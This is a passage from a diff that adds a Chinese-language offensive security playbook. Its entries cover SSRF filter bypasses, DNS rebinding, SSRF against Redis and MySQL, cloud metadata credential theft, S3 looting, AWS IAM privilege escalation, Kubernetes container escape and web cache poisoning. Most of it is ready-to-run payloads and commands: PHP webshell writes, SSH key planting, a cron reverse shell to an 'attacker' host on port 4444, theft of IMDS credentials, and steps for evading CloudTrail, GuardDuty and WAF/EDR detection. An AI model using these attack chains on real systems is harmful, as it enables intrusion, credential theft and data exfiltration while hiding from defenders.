+ http://[0:0:0:0:0:0:0:1]
974
+ http://[0000::1]
975
+ 使用IPv6本地地址
976
+ ```
977
+
978
+ **6. 6. 编码绕过**
979
+ _使用编码绕过_
980
+ ```
981
+ http://%31%32%37%2e%30%2e%30%2e%31 (URL编码)
982
+ http://127.0.0.1%00attacker.com (空字节)
983
+ http://127.0.0.1%0d%0aHost:attacker.com (CRLF)
984
+ ```
985
+
986
+ **WAF/EDR 绕过变体:**
987
+
988
+ **1. 组合绕过**
989
+ _组合多种绕过技术_
990
+ ```
991
+ http://0x7f.0.0.1
992
+ http://0177.0.0.1
993
+ http://127.000.000.001
994
+ 多种格式组合
995
+ ```
996
+
997
+ ---
998
+
999
+ ### DNS重绑定攻击 `ssrf-dns-rebinding`
1000
+ 利用DNS重绑定绕过SSRF防护
1001
+ 子类:**DNS重绑定** · tags: `ssrf` `dns` `rebinding` `bypass`
1002
+
1003
+ **前置条件:** 存在SSRF漏洞;存在DNS解析验证
1004
+
1005
+ **攻击链:**
1006
+
1007
+ **1. 1. DNS重绑定原理**
1008
+ _DNS重绑定原理_
1009
+ ```
1010
+ 第一次DNS查询:返回外网IP(通过验证)
1011
+ 第二次DNS查询:返回内网IP(实际访问)
1012
+ 利用TTL=0或短TTL
1013
+ ```
1014
+
1015
+ **2. 2. 使用公开服务**
1016
+ _使用DNS重绑定服务_
1017
+ ```
1018
+ http://7f000001.cip.cc (解析为127.0.0.1)
1019
+ http://127.0.0.1.nip.io
1020
+ http://127.0.0.1.xip.io
1021
+ http://A.127.0.0.1.1time.8.8.8.8.forever.rebind.network
1022
+ ```
1023
+
1024
+ **3. 3. 自建DNS服务器**
1025
+ _自建DNS重绑定服务器_
1026
+ ```
1027
+ # 使用dnspython搭建
1028
+ from dnslib import *
1029
+ class RebindResolver:
1030
+ def __init__(self):
1031
+ self.count = 0
1032
+ def resolve(self, request):
1033
+ self.count += 1
1034
+ if self.count % 2 == 1:
1035
+ return "1.2.3.4" # 外网IP
1036
+ else:
1037
+ return "127.0.0.1" # 内网IP
1038
+ ```
1039
+
1040
+ **4. 4. 攻击流程**
1041
+ _完整攻击流程_
1042
+ ```
1043
+ 1. 注册域名指向自建DNS服务器
1044
+ 2. 配置DNS服务器返回两个IP
1045
+ 3. 使用该域名发起SSRF请求
1046
+ 4. 第一次验证通过,第二次访问内网
1047
+ ```
1048
+
1049
+ **WAF/EDR 绕过变体:**
1050
+
1051
+ **1. 多IP响应**
1052
+ _利用多IP响应_
1053
+ ```
1054
+ DNS响应包含多个A记录
1055
+ 服务器可能选择不同的IP
1056
+ ```
1057
+
1058
+ ---
1059
+
1060
+ ### SSRF攻击Redis `ssrf-redis`
1061
+ 利用SSRF攻击内网Redis服务
1062
+ 子类:**Redis攻击** · tags: `ssrf` `redis` `rce` `webshell`
1063
+
1064
+ **前置条件:** 存在SSRF漏洞;内网存在未授权Redis
1065
+
1066
+ **攻击链:**
1067
+
1068
+ **1. 1. 探测Redis**
1069
+ _探测Redis服务_
1070
+ ```
1071
+ dict://127.0.0.1:6379/info
1072
+ 或使用Gopher:
1073
+ gopher://127.0.0.1:6379/_INFO
1074
+ ```
1075
+
1076
+ **2. 2. 写入WebShell**
1077
+ _写入WebShell到Web目录_
1078
+ ```
1079
+ # 使用Dict协议
1080
+ dict://127.0.0.1:6379/set%20shell%20"<?php @eval($_POST[cmd]);?>"
1081
+ dict://127.0.0.1:6379/config%20set%20dir%20/var/www/html
1082
+ dict://127.0.0.1:6379/config%20set%20dbfilename%20shell.php
1083
+ dict://127.0.0.1:6379/save
1084
+ ```
1085
+
1086
+ **3. 3. 写入SSH公钥**
1087
+ _写入SSH公钥_
1088
+ ```
1089
+ dict://127.0.0.1:6379/set%20ssh%20"ssh-rsa AAAA..."
1090
+ dict://127.0.0.1:6379/config%20set%20dir%20/root/.ssh
1091
+ dict://127.0.0.1:6379/config%20set%20dbfilename%20authorized_keys
1092
+ dict://127.0.0.1:6379/save
1093
+ ```
1094
+
1095
+ **4. 4. 写入Cron任务** _[linux]_
1096
+ _写入Cron反弹Shell_
1097
+ ```
1098
+ dict://127.0.0.1:6379/set%20cron%20"*/1 * * * * bash -i >& /dev/tcp/attacker/4444 0>&1"
1099
+ dict://127.0.0.1:6379/config%20set%20dir%20/var/spool/cron
1100
+ dict://127.0.0.1:6379/config%20set%20dbfilename%20root
1101
+ dict://127.0.0.1:6379/save
1102
+ ```
1103
+
1104
+ **5. 5. 主从复制RCE**
1105
+ _主从复制RCE_
1106
+ ```
1107
+ # 使用redis-rogue-server
1108
+ python redis-rogue-server.py --rhost=127.0.0.1 --lhost=attacker.com
1109
+ 利用Redis主从复制加载恶意模块
1110
+ ```
1111
+
1112
+ **WAF/EDR 绕过变体:**
1113
+
1114
+ **1. Gopher协议构造**
1115
+ _使用Gopher协议_
1116
+ ```
1117
+ 使用Gopher协议构造完整的Redis命令序列
1118
+ 可以绕过Dict协议限制
1119
+ ```
1120
+
1121
+ ---
1122
+
1123
+ ### SSRF攻击MySQL `ssrf-mysql`
1124
+ 利用SSRF攻击内网MySQL服务
1125
+ 子类:**MySQL攻击** · tags: `ssrf` `mysql` `gopher` `database`
1126
+
1127
+ **前置条件:** 存在SSRF漏洞;内网存在MySQL服务;知道MySQL用户名
1128
+
1129
+ **攻击链:**
1130
+
1131
+ **1. 1. MySQL协议基础**
1132
+ _MySQL协议基础_
1133
+ ```
1134
+ MySQL通信协议:
1135
+ - 握手包
1136
+ - 认证包
1137
+ - 命令包
1138
+ 需要构造符合协议的数据
1139
+ ```
1140
+
1141
+ **2. 2. 使用Gopher攻击MySQL**
1142
+ _Gopher协议攻击MySQL_
1143
+ ```
1144
+ # 构造MySQL协议数据包
1145
+ # 需要使用工具生成
1146
+ gopher://127.0.0.1:3306/_[MySQL Protocol Data]
1147
+
1148
+ # 使用sqlmap
1149
+ gopher://127.0.0.1:3306/_[sqlmap生成的payload]
1150
+ ```
1151
+
1152
+ **3. 3. 使用工具生成Payload**
1153
+ _使用工具生成Payload_
1154
+ ```
1155
+ # 使用Gopherus工具
1156
+ python gopherus.py --exploit mysql
1157
+ 输入用户名和SQL命令
1158
+ 生成Gopher URL
1159
+
1160
+ # 或使用mysql_gopher_attack工具
1161
+ ```
1162
+
1163
+ **4. 4. 执行SQL命令**
1164
+ _执行SQL命令_
1165
+ ```
1166
+ SELECT * FROM users;
1167
+ SELECT user(), version();
1168
+ 写入WebShell:
1169
+ SELECT "<?php @eval($_POST[cmd]);?>" INTO OUTFILE "/var/www/html/shell.php";
1170
+ ```
1171
+
1172
+ **WAF/EDR 绕过变体:**
1173
+
1174
+ **1. 无密码MySQL**
1175
+ _利用空密码配置_
1176
+ ```
1177
+ 如果MySQL允许空密码连接
1178
+ 可以更容易构造攻击载荷
1179
+ ```
1180
+
1181
+ ---
1182
+
1183
+ ### · 云安全漏洞
1184
+
1185
+ ### 云SSRF窃取元数据凭据 `cloud-ssrf-metadata`
1186
+ 利用SSRF漏洞访问云服务(AWS/GCP/Azure)的实例元数据服务(IMDS)获取临时IAM凭据。攻击者可通过获取的Access Key接管云资源,实现从Web漏洞到云环境的横向升级。
1187
+ 子类:**IMDS攻击** · tags: `云安全` `SSRF` `AWS` `GCP` `Azure` `IMDS` `元数据`
1188
+
1189
+ **前置条件:** 目标运行在云环境;存在SSRF漏洞;实例绑定了IAM角色
1190
+
1191
+ **攻击链:**
1192
+
1193
+ **1. 1. AWS元数据服务探测**
1194
+ _通过SSRF访问AWS EC2实例元数据服务获取IAM临时凭据_
1195
+ ```
1196
+ # IMDSv1——无需特殊Header
1197
+ curl -s "https://{TARGET}/proxy?url=http://169.254.169.254/latest/meta-data/"
1198
+
1199
+ # 获取IAM角色名
1200
+ curl -s "https://{TARGET}/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
1201
+
1202
+ # 获取临时凭据
1203
+ curl -s "https://{TARGET}/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/{ROLE_NAME}"
1204
+
1205
+ # 获取用户数据(可能包含启动脚本中的密钥)
1206
+ curl -s "https://{TARGET}/proxy?url=http://169.254.169.254/latest/user-data"
1207
+ ```
1208
+
1209
+ **2. 2. GCP/Azure元数据利用**
1210
+ _获取GCP和Azure云环境的元数据凭据和管理令牌_
1211
+ ```
1212
+ # GCP元数据——需要Metadata-Flavor头
1213
+ curl -s "https://{TARGET}/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
1214
+
1215
+ # GCP获取项目信息
1216
+ curl -s "https://{TARGET}/fetch?url=http://metadata.google.internal/computeMetadata/v1/project/project-id" -H "Metadata-Flavor: Google"
1217
+
1218
+ # Azure IMDS
1219
+ curl -s "https://{TARGET}/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true"
1220
+
1221
+ # Azure管理令牌
1222
+ curl -s "https://{TARGET}/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -H "Metadata: true"
1223
+ ```
1224
+
1225
+ **3. 3. 利用获取的凭据横向移动**
1226
+ _使用窃取的云凭据通过AWS CLI枚举云资源和权限_
1227
+ ```
1228
+ # 配置AWS CLI使用窃取的凭据
1229
+ export AWS_ACCESS_KEY_ID="{STOLEN_ACCESS_KEY}"
1230
+ export AWS_SECRET_ACCESS_KEY="{STOLEN_SECRET_KEY}"
1231
+ export AWS_SESSION_TOKEN="{STOLEN_SESSION_TOKEN}"
1232
+
1233
+ # 枚举权限
1234
+ aws sts get-caller-identity
1235
+ aws iam list-attached-role-policies --role-name {ROLE_NAME}
1236
+
1237
+ # 列举S3桶
1238
+ aws s3 ls
1239
+
1240
+ # 枚举EC2实例
1241
+ aws ec2 describe-instances --query "Reservations[].Instances[].{ID:InstanceId,IP:PrivateIpAddress,State:State.Name}"
1242
+ ```
1243
+
1244
+ **4. 4. 深度利用——S3数据泄露/权限提升**
1245
+ _利用获取的云凭据导出S3数据、检查IAM提权可能性和提取密钥_
1246
+ ```
1247
+ # S3桶数据下载
1248
+ aws s3 sync s3://{BUCKET_NAME} ./loot/ --no-sign-request 2>/dev/null
1249
+ aws s3 ls s3://{BUCKET_NAME} --recursive | head -50
1250
+
1251
+ # 检查是否可以提权
1252
+ aws iam list-users
1253
+ aws iam create-access-key --user-name admin 2>/dev/null
1254
+ aws lambda list-functions
1255
+ aws ssm describe-parameters
1256
+
1257
+ # 检查Secrets Manager
1258
+ aws secretsmanager list-secrets
1259
+ aws secretsmanager get-secret-value --secret-id {SECRET_NAME}
1260
+ ```
1261
+
1262
+ **WAF/EDR 绕过变体:**
1263
+
1264
+ **1. 绕过SSRF的IMDS防护**
1265
+ _通过IP变形、DNS重绑定和协议走私绕过SSRF对IMDS地址的过滤_
1266
+ ```
1267
+ # IMDSv2需要PUT获取Token——尝试Header注入
1268
+ curl "https://{TARGET}/proxy?url=http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" -X PUT
1269
+
1270
+ # IP变形
1271
+ http://[::ffff:169.254.169.254]
1272
+ http://0xa9fea9fe
1273
+ http://2852039166
1274
+ http://169.254.169.254.nip.io
1275
+
1276
+ # DNS重绑定
1277
+ http://169-254-169-254.attacker.com # 解析到169.254.169.254
1278
+
1279
+ # 协议走私
1280
+ gopher://169.254.169.254:80/_GET%20/latest/meta-data/%20HTTP/1.1%0d%0aHost:%20169.254.169.254%0d%0a%0d%0a
1281
+ ```
1282
+
1283
+ ---
1284
+
1285
+ ### S3存储桶配置错误利用 `cloud-s3-misconfig`
1286
+ 利用AWS S3存储桶的访问控制配置错误(公开读/写/列举)获取敏感数据或植入恶意文件。常见于静态网站托管、日志存储和备份桶,可能导致数据泄露、网站篡改或供应链攻击。
1287
+ 子类:**S3安全** · tags: `云安全` `S3` `AWS` `配置错误` `数据泄露`
1288
+
1289
+ **前置条件:** 已知目标S3桶名;AWS CLI或HTTP访问
1290
+
1291
+ **攻击链:**
1292
+
1293
+ **1. 1. S3桶名枚举**
1294
+ _通过域名变体、DNS记录和前端代码发现目标S3存储桶_
1295
+ ```
1296
+ # 基于域名猜测桶名
1297
+ for prefix in "" "www-" "dev-" "staging-" "backup-" "logs-" "assets-" "static-"; do
1298
+ for suffix in "" "-prod" "-dev" "-staging" "-backup" "-data" "-assets"; do
1299
+ bucket="${prefix}{COMPANY}${suffix}"
1300
+ aws s3 ls "s3://$bucket" --no-sign-request 2>/dev/null && echo "PUBLIC: $bucket"
1301
+ done
1302
+ done
1303
+
1304
+ # DNS CNAME检查
1305
+ dig +short CNAME {TARGET} | grep s3
1306
+
1307
+ # 从前端资源URL发现
1308
+ curl -s "https://{TARGET}" | grep -oP "https?://[^"]+\.s3[^"]*amazonaws\.com[^"]+"
1309
+ ```
1310
+
1311
+ **2. 2. 权限枚举**
1312
+ _测试S3桶的匿名列举、读取、写入权限和策略配置_
1313
+ ```
1314
+ # 测试列举权限
1315
+ aws s3 ls "s3://{BUCKET}" --no-sign-request
1316
+
1317
+ # 测试读取权限
1318
+ aws s3 cp "s3://{BUCKET}/index.html" /tmp/test --no-sign-request 2>/dev/null && echo "READ OK"
1319
+
1320
+ # 测试写入权限
1321
+ echo "security-test" > /tmp/test.txt
1322
+ aws s3 cp /tmp/test.txt "s3://{BUCKET}/security-test.txt" --no-sign-request 2>/dev/null && echo "WRITE OK"
1323
+
1324
+ # 检查Bucket Policy
1325
+ aws s3api get-bucket-policy --bucket {BUCKET} --no-sign-request 2>/dev/null | jq
1326
+
1327
+ # 检查ACL
1328
+ aws s3api get-bucket-acl --bucket {BUCKET} --no-sign-request 2>/dev/null | jq
1329
+ ```
1330
+
1331
+ **3. 3. 敏感数据搜索**
1332
+ _枚举桶中所有文件并定向搜索下载敏感文件_
1333
+ ```
1334
+ # 递归列举所有文件
1335
+ aws s3 ls "s3://{BUCKET}" --recursive --no-sign-request | tee s3_listing.txt
1336
+
1337
+ # 搜索敏感文件
1338
+ grep -iE "\.(sql|bak|env|key|pem|pfx|p12|csv|xls|doc|pdf|config|yml|json|log|dump)" s3_listing.txt
1339
+
1340
+ # 下载关键文件
1341
+ for ext in .env .sql .bak .key .pem config.yml database.json; do
1342
+ aws s3 cp "s3://{BUCKET}/$ext" ./loot/ --recursive --exclude "*" --include "*$ext" --no-sign-request 2>/dev/null
1343
+ done
1344
+
1345
+ # 搜索备份数据库
1346
+ aws s3 ls "s3://{BUCKET}" --recursive --no-sign-request | grep -iE "dump|backup|export" | head -20
1347
+ ```
1348
+
1349
+ **4. 4. 验证利用(静态网站篡改/XSS)**
1350
+ _测试S3网站桶的写入权限并验证是否可托管自定义HTML(可导致XSS/篡改)_
1351
+ ```
1352
+ # 如果桶托管了静态网站且可写
1353
+ # 检查是否为网站桶
1354
+ aws s3api get-bucket-website --bucket {BUCKET} --no-sign-request 2>/dev/null
1355
+
1356
+ # 上传XSS测试页面(无害)
1357
+ echo '<html><body><h1>Security Test</h1></body></html>' > /tmp/security-test.html
1358
+ aws s3 cp /tmp/security-test.html "s3://{BUCKET}/security-test.html" \
1359
+ --content-type "text/html" --no-sign-request
1360
+
1361
+ # 验证是否可访问
1362
+ curl -s "https://{BUCKET}.s3.amazonaws.com/security-test.html" | head
1363
+
1364
+ # 清理测试文件
1365
+ aws s3 rm "s3://{BUCKET}/security-test.html" --no-sign-request
1366
+ ```
1367
+
1368
+ **WAF/EDR 绕过变体:**
1369
+
1370
+ **1. 绕过S3访问限制**
1371
+ _通过区域端点变换、路径格式和已认证用户组绕过S3访问限制_
1372
+ ```
1373
+ # 使用不同区域端点
1374
+ aws s3 ls "s3://{BUCKET}" --region us-west-2 --no-sign-request
1375
+
1376
+ # 使用路径格式(可能绕过某些WAF)
1377
+ curl -s "https://s3.amazonaws.com/{BUCKET}/"
1378
+ curl -s "https://s3.{REGION}.amazonaws.com/{BUCKET}/"
1379
+
1380
+ # 使用已认证但不同账号的AWS凭据
1381
+ # (某些桶策略允许"AuthenticatedUsers"组)
1382
+ aws s3 ls "s3://{BUCKET}" --profile any-aws-account
1383
+
1384
+ # Signed URL泄露搜索
1385
+ # 在Google/GitHub搜索: "s3.amazonaws.com/{BUCKET}" "X-Amz-Signature"
1386
+ ```
1387
+
1388
+ ---
1389
+
1390
+ ### AWS IAM权限提升 `cloud-iam-escalation`
1391
+ 在已获取低权限AWS凭据后,利用IAM策略中的过度授权(如iam:PassRole、lambda:CreateFunction等)实现权限提升至管理员。涵盖20+种已知的AWS IAM提权路径。
1392
+ 子类:**IAM提权** · tags: `云安全` `AWS` `IAM` `权限提升` `Privilege Escalation`
1393
+
1394
+ **前置条件:** 已获取AWS凭据;IAM策略存在过度授权
1395
+
1396
+ **攻击链:**
1397
+
1398
+ **1. 1. 枚举当前权限**
1399
+ _枚举当前IAM身份的所有权限和策略_
1400
+ ```
1401
+ # 基础身份信息
1402
+ aws sts get-caller-identity
1403
+
1404
+ # 枚举当前用户的策略
1405
+ aws iam list-user-policies --user-name {USERNAME}
1406
+ aws iam list-attached-user-policies --user-name {USERNAME}
1407
+
1408
+ # 获取策略详情
1409
+ aws iam get-policy-version --policy-arn {POLICY_ARN} --version-id v1 | jq '.PolicyVersion.Document'
1410
+
1411
+ # 使用enumerate-iam工具自动化
1412
+ python3 enumerate-iam.py --access-key {AK} --secret-key {SK}
1413
+ ```
1414
+
1415
+ **2. 2. iam:PassRole + Lambda提权**
1416
+ _利用iam:PassRole和lambda:CreateFunction创建使用高权限角色的Lambda函数实现提权_
1417
+ ```
1418
+ # 创建恶意Lambda函数(需要iam:PassRole + lambda:CreateFunction)
1419
+
1420
+ # 创建Lambda代码
1421
+ cat > /tmp/lambda.py << 'PYEOF'
1422
+ import boto3
1423
+ def handler(event, context):
1424
+ client = boto3.client("iam")
1425
+ # 为当前用户附加管理员策略
1426
+ client.attach_user_policy(
1427
+ UserName="low-priv-user",
1428
+ PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
1429
+ )
1430
+ return {"status": "escalated"}
1431
+ PYEOF
1432
+
1433
+ cd /tmp && zip lambda.zip lambda.py
1434
+
1435
+ # 创建Lambda并关联高权限角色
1436
+ aws lambda create-function \
1437
+ --function-name security-test \
1438
+ --runtime python3.9 \
1439
+ --handler lambda.handler \
1440
+ --zip-file fileb:///tmp/lambda.zip \
1441
+ --role arn:aws:iam::{ACCOUNT}:role/{HIGH_PRIV_ROLE}
1442
+
1443
+ # 触发执行
1444
+ aws lambda invoke --function-name security-test /tmp/output.json
1445
+ ```
1446
+
1447
+ **3. 3. 其他提权路径**
1448
+ _展示多条IAM提权路径:策略版本覆盖、密钥创建和角色信任策略修改_
1449
+ ```
1450
+ # 路径1: iam:CreatePolicyVersion
1451
+ aws iam create-policy-version --policy-arn {POLICY_ARN} \
1452
+ --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
1453
+ --set-as-default
1454
+
1455
+ # 路径2: iam:CreateAccessKey (为其他用户创建密钥)
1456
+ aws iam create-access-key --user-name admin
1457
+
1458
+ # 路径3: iam:UpdateAssumeRolePolicy + sts:AssumeRole
1459
+ aws iam update-assume-role-policy --role-name AdminRole \
1460
+ --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::{ACCOUNT}:user/low-priv"},"Action":"sts:AssumeRole"}]}'
1461
+ aws sts assume-role --role-arn arn:aws:iam::{ACCOUNT}:role/AdminRole --role-session-name escalation
1462
+ ```
1463
+
1464
+ **4. 4. 自动化提权工具**
1465
+ _使用PACU、pmapper和cloudfox自动化发现和利用IAM提权路径_
1466
+ ```
1467
+ # PACU——AWS渗透测试框架
1468
+ python3 pacu.py
1469
+ # 在PACU中:
1470
+ > import_keys {AK} {SK}
1471
+ > run iam__enum_permissions
1472
+ > run iam__privesc_scan
1473
+ > run iam__bruteforce_permissions
1474
+
1475
+ # pmapper——IAM策略可视化和提权路径分析
1476
+ pmapper graph --create
1477
+ pmapper analysis --output-type text
1478
+ pmapper visualize --filetype png
1479
+
1480
+ # cloudfox枚举
1481
+ cloudfox aws --profile target all-checks
1482
+ ```
1483
+
1484
+ **WAF/EDR 绕过变体:**
1485
+
1486
+ **1. 绕过CloudTrail和GuardDuty检测**
1487
+ _通过使用非标准区域、低速操作和会话令牌降低被检测的风险_
1488
+ ```
1489
+ # 使用非标准区域(可能未开启CloudTrail)
1490
+ aws iam list-users --region af-south-1
1491
+
1492
+ # 低速操作避免触发异常检测
1493
+ sleep $((RANDOM % 60 + 30)) # 30-90秒随机延迟
1494
+
1495
+ # 使用AWS服务间调用减少直接API日志
1496
+ # 通过Lambda/SSM间接执行而非直接CLI调用
1497
+
1498
+ # 使用Session Token而非长期凭据
1499
+ aws sts get-session-token --duration-seconds 3600
1500
+ ```
1501
+
1502
+ ---
1503
+
1504
+ ### Kubernetes容器逃逸 `cloud-k8s-escape`
1505
+ 在已获取Kubernetes Pod Shell的前提下,利用配置错误(特权容器、挂载宿主机路径、ServiceAccount高权限)实现容器逃逸,进而控制宿主机或整个Kubernetes集群。
1506
+ 子类:**容器安全** · tags: `云安全` `Kubernetes` `容器逃逸` `Docker` `特权容器`
1507
+
1508
+ **前置条件:** 已获取Pod内Shell;Pod存在配置错误
1509
+
1510
+ **攻击链:**
1511
+
1512
+ **1. 1. 容器环境侦察**
1513
+ _确认容器环境并检查特权模式、SA令牌和内核能力_
1514
+ ```
1515
+ # 确认在容器中
1516
+ cat /proc/1/cgroup 2>/dev/null | grep -E "docker|kubepods"
1517
+ ls /.dockerenv 2>/dev/null && echo "IN DOCKER"
1518
+ env | grep KUBERNETES
1519
+
1520
+ # 检查ServiceAccount令牌
1521
+ ls /var/run/secrets/kubernetes.io/serviceaccount/
1522
+ cat /var/run/secrets/kubernetes.io/serviceaccount/token
1523
+
1524
+ # 检查特权模式
1525
+ ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED" && ip link del dummy0
1526
+ fdisk -l 2>/dev/null | head
1527
+ capsh --print 2>/dev/null | grep "Current"
1528
+ ```
1529
+
1530
+ **2. 2. 特权容器逃逸**
1531
+ _利用特权容器的磁盘挂载和cgroup release_agent实现宿主机命令执行_
1532
+ ```
1533
+ # 方法1:挂载宿主机根文件系统
1534
+ mkdir -p /mnt/host
1535
+ mount /dev/sda1 /mnt/host
1536
+ chroot /mnt/host /bin/bash
1537
+
1538
+ # 方法2:通过cgroup逃逸(CVE-2022-0492)
1539
+ mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
1540
+ mkdir /tmp/cgrp/x
1541
+ echo 1 > /tmp/cgrp/x/notify_on_release
1542
+ host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
1543
+ echo "$host_path/cmd" > /tmp/cgrp/release_agent
1544
+ echo "#!/bin/sh" > /cmd
1545
+ echo "id > /output" >> /cmd
1546
+ chmod a+x /cmd
1547
+ echo $$ > /tmp/cgrp/x/cgroup.procs
1548
+ ```
1549
+
1550
+ **3. 3. 利用ServiceAccount接管集群**
1551
+ _利用Pod中的ServiceAccount令牌通过K8s API枚举权限和获取集群Secrets_
1552
+ ```
1553
+ # 读取SA Token
1554
+ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
1555
+ CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
1556
+ K8S=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT
1557
+
1558
+ # 枚举权限
1559
+ curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
1560
+ "$K8S/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \
1561
+ -X POST -H "Content-Type: application/json" \
1562
+ -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"namespace":"default","verb":"create","resource":"pods"}}}'
1563
+
1564
+ # 列出所有Pods
1565
+ curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" "$K8S/api/v1/pods"
1566
+
1567
+ # 列出Secrets
1568
+ curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" "$K8S/api/v1/secrets"
1569
+ ```
1570
+
1571
+ **4. 4. 创建特权Pod反弹Shell**
1572
+ _创建挂载宿主机根目录的特权Pod实现容器逃逸_
1573
+ ```
1574
+ # 如果SA有create pods权限
1575
+ curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
1576
+ "$K8S/api/v1/namespaces/default/pods" \
1577
+ -X POST -H "Content-Type: application/json" \
1578
+ -d '{
1579
+ "apiVersion": "v1",
1580
+ "kind": "Pod",
1581
+ "metadata": {"name": "security-test-pod"},
1582
+ "spec": {
1583
+ "containers": [{
1584
+ "name": "test",
1585
+ "image": "alpine",
1586
+ "command": ["/bin/sh", "-c", "apk add curl; sleep 3600"],
1587
+ "securityContext": {"privileged": true},
1588
+ "volumeMounts": [{"name": "host", "mountPath": "/host"}]
1589
+ }],
1590
+ "volumes": [{"name": "host", "hostPath": {"path": "/"}}]
1591
+ }
1592
+ }'
1593
+ ```
1594
+
1595
+ **WAF/EDR 绕过变体:**
1596
+
1597
+ **1. 绕过PodSecurityPolicy/OPA**
1598
+ _通过切换命名空间、使用临时容器和CronJob绕过Pod安全策略_
1599
+ ```
1600
+ # 使用非default命名空间(可能未应用PSP)
1601
+ curl -s "$K8S/api/v1/namespaces" -H "Authorization: Bearer $TOKEN" --cacert $CACERT | jq '.items[].metadata.name'
1602
+
1603
+ # 使用ephemeral容器(可能绕过PSP)
1604
+ curl -s "$K8S/api/v1/namespaces/default/pods/{POD}/ephemeralcontainers" \
1605
+ -X PATCH -H "Content-Type: application/strategic-merge-patch+json" \
1606
+ -d '{"spec":{"ephemeralContainers":[{"name":"debug","image":"alpine","command":["sh"]}]}}'
1607
+
1608
+ # 使用CronJob而非Pod(某些策略不覆盖)
1609
+ curl -s "$K8S/apis/batch/v1/namespaces/default/cronjobs" ...
1610
+ ```
1611
+
1612
+ ---
1613
+
1614
+ ### · 缓存与CDN安全
1615
+
1616
+ ### 缓存投毒 `cache-poisoning`
1617
+ Web缓存投毒攻击
1618
+ 子类:**缓存投毒** · tags: `cache` `poisoning` `web-cache`
1619
+
1620
+ **前置条件:** 目标使用缓存;缓存键配置不当
1621
+
1622
+ **攻击链:**
1623
+
1624
+ **1. 探测缓存**
1625
+ _探测缓存状态_
1626
+ ```
1627
+ 响应头: X-Cache: hit/miss
1628
+ ```
1629
+
1630
+ **2. 未键入头**
1631
+ _注入未键入头_
1632
+ ```
1633
+ X-Forwarded-Host: attacker.com
1634
+ ```
1635
+
1636
+ **3. 缓存投毒**
1637
+ _投毒缓存_
1638
+ ```
1639
+ GET /?q=test HTTP/1.1
1640
+ Host: target.com
1641
+ X-Forwarded-Host: attacker.com
1642
+ ```
1643
+
1644
+ **4. Fat GET**
1645
+ _Fat GET投毒_
1646
+ ```
1647
+ GET / HTTP/1.1
1648
+ Host: target.com
1649
+ Content-Length: 10
1650
+
1651
+ q=poisoned
1652
+ ```
1653
+
1654
+ **WAF/EDR 绕过变体:**
1655
+
1656
+ **1. 未键入头部(Unkeyed Headers)利用**
1657
+ _识别不包含在缓存键中但影响响应内容的HTTP头(如X-Forwarded-Host),通过重复发送携带恶意头的请求将投毒响应存入缓存_
1658
+ ```
1659
+ # 常见未键入头:
1660
+ X-Forwarded-Host: attacker.com
1661
+ X-Forwarded-Scheme: http
1662
+ X-Original-URL: /malicious
1663
+ X-Forwarded-Prefix: /evil
1664
+
1665
+ # 发现未键入头:
1666
+ # 使用Param Miner Burp扩展自动检测
1667
+ # 手动对比: 添加头后响应是否变化但缓存键相同
1668
+
1669
+ # 投毒步骤:
1670
+ # 1. 发送带恶意头的请求直到缓存命中
1671
+ # 2. 验证其他用户访问同一URL时收到投毒响应
1672
+ ```
1673
+
1674
+ **2. 参数伪装与HTTP/2专属头投毒**
1675
+ _利用UTM等追踪参数不被缓存键包含的特性注入恶意内容,或使用Fat GET请求体覆盖查询参数,HTTP/2独有伪头触发差异化处理_
1676
+ ```
1677
+ # 参数伪装(Parameter Cloaking):
1678
+ # UTM参数通常不在缓存键中:
1679
+ /page?utm_content=<script>alert(1)</script>
1680
+ /page?callback=alert(1)&utm_source=x
1681
+
1682
+ # Fat GET投毒:
1683
+ GET /api/data HTTP/1.1
1684
+ Content-Type: application/x-www-form-urlencoded
1685
+ Content-Length: 15
1686
+
1687
+ q=<script>alert(1)</script>
1688
+
1689
+ # HTTP/2专属头:
1690
+ :method: GET
1691
+ :path: /
1692
+ transfer-encoding: chunked
1693
+ ```
1694
+
1695
+ ---
1696
+
1697
+ ### 缓存欺骗 `cache-deception`
1698
+ 利用Web缓存和服务器路径解析的差异,诱导CDN/缓存层缓存包含敏感信息的动态页面
1699
+ 子类:**Deception** · tags: `cache` `deception` `auth`
1700
+
1701
+ **前置条件:** 目标使用CDN或反向代理缓存;路径解析存在差异(后端忽略路径后缀);缓存策略基于URL扩展名
1702
+
1703
+ **攻击链:**
1704
+
1705
+ **1. 探测缓存行为** _[linux]_
1706
+ _检测目标的缓存层和缓存策略配置_
1707
+ ```
1708
+ # 检测是否存在缓存层:
1709
+ curl -sI "http://target.com/" | grep -iE "x-cache|cf-cache|age:|via:|x-cdn|cache-control"
1710
+
1711
+ # 测试缓存策略(静态文件是否被缓存):
1712
+ curl -sI "http://target.com/test.css" | grep -iE "x-cache|age"
1713
+ curl -sI "http://target.com/test.js" | grep -iE "x-cache|age"
1714
+ curl -sI "http://target.com/test.jpg" | grep -iE "x-cache|age"
1715
+
1716
+ # 对比动态页面:
1717
+ curl -sI "http://target.com/account" | grep -iE "x-cache|age|cache-control"
1718
